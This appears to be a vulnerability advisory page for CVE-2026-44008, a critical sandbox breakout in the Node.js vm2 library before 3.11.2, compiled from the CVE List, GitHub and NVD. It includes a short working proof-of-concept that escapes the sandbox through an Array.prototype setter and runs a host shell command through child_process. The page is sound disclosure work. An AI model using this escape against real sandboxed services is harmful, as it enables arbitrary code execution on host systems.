CVE-2026-44008
JSON

9.8critical

vm2 has sandbox breakout via `neutralizeArraySpeciesBatch`

Severity
9.8critical CVSS:3.1 by GitHub_M
Exploit likelihood
1.04% (higher than 64% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-9qj6-qjgg-37qq

Description

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.

Affected

Product or packageVersionsReported by
patriksimek vm2< 3.11.2CVE List
ansible-automation-platform/automation-portalNot specified
Not affected: from 1785854226 before *
CVE List
rhdh/rhdh-hub-rhel9Not specifiedCVE List
vm2 (npm)before 3.11.2GitHub Advisory Database
vm2_project vm2before 3.11.2NVD

All scores

GitHub_M9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
redhat-SADP9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-668CWE-1100

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.2, the new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.2.

GitHub Advisory Database
Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

The new method neutralizeArraySpeciesBatch works with objects from the other side but can call into this side via getter on the array prototype exposing objects of the wrong side into the sandbox. This can be used to get host objects and get the host Function object.

PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const a = [];
Object.defineProperty(Array.prototype, 0, {
	set(value) {
		a.f = Buffer.prototype.inspect;
		value.arr.f.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
	}
});
new Buffer(a);
`));
Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

NVD (es)

vm2 es una vm/sandbox de código abierto para Node.js. Antes de la 3.11.2, el nuevo método neutralizeArraySpeciesBatch funciona con objetos del otro lado, pero puede llamar a este lado a través de un getter en el prototipo del array, exponiendo objetos del lado incorrecto en la sandbox. Esto puede usarse para obtener objetos del host y obtener el objeto Function del host. Esto permite a los atacantes escribir código que puede escapar de la sandbox de VM2 y ejecutar comandos arbitrarios en el sistema host. Esta vulnerabilidad está corregida en la 3.11.2.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-44008 changed 2026-11-04CVE Terms of Use
GitHub Advisory DatabaseGHSA-9qj6-qjgg-37qq changed 2026-11-04CC-BY-4.0
NVDCVE-2026-44008 changed 2026-11-04Public domain